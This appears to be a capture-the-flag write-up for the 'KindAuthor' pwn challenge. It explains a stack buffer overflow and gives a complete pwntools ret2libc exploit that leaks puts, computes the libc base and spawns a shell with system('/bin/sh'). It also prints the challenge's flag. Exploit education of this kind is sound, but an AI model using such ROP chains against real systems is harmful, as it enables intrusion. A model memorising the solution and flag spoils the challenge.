Published on

Junior Crypt 2025 - Pwn - KindAuthor

Authors
  • avatar
    Name
    Basim Mehdi
    Twitter

Table of Contents


Challenge Description

There was a very kind author living in the digital world. He created a unique helper programme that was supposed to make life easier for other developers. In his boundless kindness, he even built into the programme a special function that he thought would help debug complex call chains. 'Let the user have all the tools at his fingertips!' - he liked to say, without thinking about the consequences. But kindness sometimes borders on naivety. The author trusted his users so much that he completely forgot about basic safety rules. He left the door to his house wide open, hanging a sign on it saying 'Welcome'

Files Provided:

  • KindAuthor (binary)
  • libc.so.6
  • ld-linux-x86-64.so.2

Challenge Overview

The challenge is a 64-bit ELF binary with the following properties:

Partial RELRO | No Canary | NX Enabled | No PIE | Not stripped

The binary prompts:

Hello
Input your data:

Testing with large input causes a segmentation fault, indicating a buffer overflow vulnerability.

Segmentation Fault

Step 1: Analyzing the Binary

Using checksec:

checksec --file=KindAuthor
Checksec Results

Results:

  • NX enabled → cannot execute shellcode on stack
  • No PIE → static addresses possible
  • No stack canary → buffer overflow possible

The func() function reads user input:

void func(void)
{
  undefined local_28[32]; // 32-byte buffer
  read(0, local_28, 0x80);
  return;
}

This confirms that we can overflow the 32-byte buffer since read allows 128 bytes.

Binary Analysis Screenshot

Step 2: Finding Overflow Offset

We used PwnTools cyclic pattern:

cyclic 100
Overflow Offset

GDB revealed:

RSP overwritten with: 0x6161616161616166 ('faaaaaaa')
Offset to RIP: 40 bytes
Overflow Offset

Payload Layout:

[Buffer `32` bytes + Padding `8` bytes][RIP overwrite][ROP chain]

Step 3: Preparing ROP Gadgets

We need a pop rdi; ret gadget to control the first argument (RDI) for function calls on x86_64:

  • I used ROPgadget to find the gadget:
ROPgadget --binary KindAuthor | grep "pop rdi"
Pop RDI Gadget
pop_rdi = 0x000000000040114a
  • This will pop out anything in RDI and allow us to control the first argument of any function we call.
  • We can pass the address of puts for leaking libc.

Step 4: Leaking libc Address

To compute libc base, we leak puts address from the GOT:

from pwn import *

elf = context.binary = ELF('./KindAuthor')
io = process()


puts = elf.got.puts # `GOT` entry for `puts`
main = elf.sym.main # Entry point for `main`

payload = cyclic(40)
payload += pack(pop_rdi)
payload += pack(puts)
payload += pack(elf.sym.puts)
payload += pack(main)

io.sendlineafter('Input your data:\n', payload)

leaked = io.recvline().strip()
leaked_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f"Leaked `puts@libc`: {hex(leaked_addr)}")
Puts Leak

Step 5: Calculating libc Base

Using offsets from libc.so.6:

objdump -T libc.so.6 | grep puts
Puts Libc
strings -t x libc.so.6 | grep "/bin/sh"
Bin Sh Libc
objdump -T libc.so.6 | grep system
Puts Libc
  • A ret gadget for stack alignment:
ROPgadget --binary KindAuthor | grep "ret"
Ret Gadget
  • So we can calculate the libc base from known offsets and then use it to find the addresses of system and /bin/sh:
libc_base = leaked_addr - 0x805a0      # puts offset
bin_sh    = libc_base + 0x1a7ea4       # /bin/sh string offset
system    = libc_base + 0x53110        # system() offset
ret       = 0x401016                   # ret gadget for alignment

Step 6: Crafting Final ret2libc Payload


payload = cyclic(40) # Overflow
payload += pack(pop_rdi) # Control `RDI`
payload += pack(bin_sh) # Set `RDI` to "/bin/sh"
payload += pack(ret) # Align stack
payload += pack(system) # Call `system("/bin/sh")`

io.sendlineafter('Input your data:\n', payload)
print("Got the shell! Reading flag...") # Out of excitement lol
io.interactive()

Step 7: Exploitation and Flag

Our complete final payload is:

from pwn import *

elf = context.binary = ELF('./KindAuthor')
io = process()


pop_rdi = 0x000000000040114a
puts = elf.got.puts
main = elf.sym.main

payload = cyclic(40)
payload += pack(pop_rdi)
payload += pack(puts)
payload += pack(elf.sym.puts)
payload += pack(main)

io.sendlineafter('Input your data:\n', payload)

leaked = io.recvline().strip()
leaked_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f"Leaked `puts@libc`: {hex(leaked_addr)}")


libc_base = leaked_addr - 0x805a0      # `puts` offset
bin_sh    = libc_base + 0x1a7ea4       # `/bin/sh` string offset
system    = libc_base + 0x53110        # `system()` offset
ret       = 0x401016                   # `ret` gadget for alignment


payload = cyclic(40)
payload += pack(pop_rdi)
payload += pack(bin_sh)
payload += pack(ret)
payload += pack(system)

io.sendlineafter('Input your data:\n', payload)
print("Got the shell! Reading flag...")
io.interactive()
Script Run
$ cat flag.txt
grodno {bL491M1_N4M3R3n1Y4m1_VYm05ch3n4_d0R094_v_5h31L}

Conclusion

  • The challenge used a classic buffer overflow with ret2libc exploitation.

  • No PIE, NX enabled, and no canary made it straightforward.

  • Step-by-step approach:

    1. Identify overflow
    2. Determine offset
    3. Leak libc address
    4. Calculate libc base
    5. Build final ROP chain
    6. Spawn shell and read flag

This writeup demonstrates a clean beginner-friendly ret2libc exploitation workflow.